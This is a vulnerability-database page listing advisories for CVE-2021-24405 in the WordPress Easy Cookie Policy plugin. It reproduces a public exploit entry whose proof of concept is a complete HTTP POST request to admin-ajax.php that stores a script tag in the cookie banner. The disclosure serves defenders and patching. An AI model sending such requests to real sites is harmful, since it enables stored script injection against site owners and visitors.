| Reporter | Title | Published | Views | Family All 14 |
|---|---|---|---|---|
| WordPress Easy Cookie Policy 1.6.2 Plugin - Broken Access Control to Stored XSS Vulnerability | 30 Mar 202200:00 | – | zdt | |
| WordPress plugin Easy Cookies Policy 安全漏洞 | 6 Jul 202100:00 | – | cnnvd | |
| WordPress Easy Cookies Policy Plugin Cross-Site Scripting Vulnerability (CNVD-2021-49075) | 7 Jul 202100:00 | – | cnvd | |
| CVE-2021-24405 | 6 Jul 202111:03 | – | cve | |
| CVE-2021-24405 Easy Cookie Policy <= 1.6.2 - Broken Access Control to Stored Cross-Site Scripting | 6 Jul 202111:03 | – | cvelist | |
| EUVD-2021-11317 | 7 Oct 202500:30 | – | euvd | |
| CVE-2021-24405 | 6 Jul 202111:15 | – | nvd | |
| CVE-2021-24405 | 6 Jul 202111:15 | – | osv | |
| WordPress Easy Cookie Policy 1.6.2 Cross Site Scripting | 30 Mar 202200:00 | – | packetstorm | |
| WordPress Easy Cookies Policy plugin <= 1.6.2 - Broken Access Control vulnerability leading to Stored Cross-Site Scripting (XSS) | 11 Jun 202100:00 | – | patchstack |
# Exploit Title: WordPress Plugin Easy Cookie Policy 1.6.2 - Broken Access Control to Stored XSS
# Date: 2/27/2021
# Author: 0xB9
# Software Link: https://wordpress.org/plugins/easy-cookies-policy/
# Version: 1.6.2
# Tested on: Windows 10
# CVE: CVE-2021-24405
1. Description:
Broken access control allows any authenticated user to change the cookie banner through a POST request to admin-ajax.php.
If users can't register, this can be done through CSRF.
2. Proof of Concept:
POST http://localhost/wp-admin/admin-ajax.php HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0
Accept: application/json, text/javascript, /; q=0.01
Accept-Language: en-US,en;q=0.5
Referer: http://localhost/wp-admin/options-general.php?page=easy-cookies-policy
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 226
Origin: http://localhost
Connection: keep-alive
Host: localhost
Cookie: [Any authenticated user]
action=easy_cookies_policy_save_settings&maintext=<script>alert(1)</script>&background=black&transparency=90&close=accept&expires=365&enabled=true&display=fixed&position=top&button_text=Accept&text_color=#ddddddData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation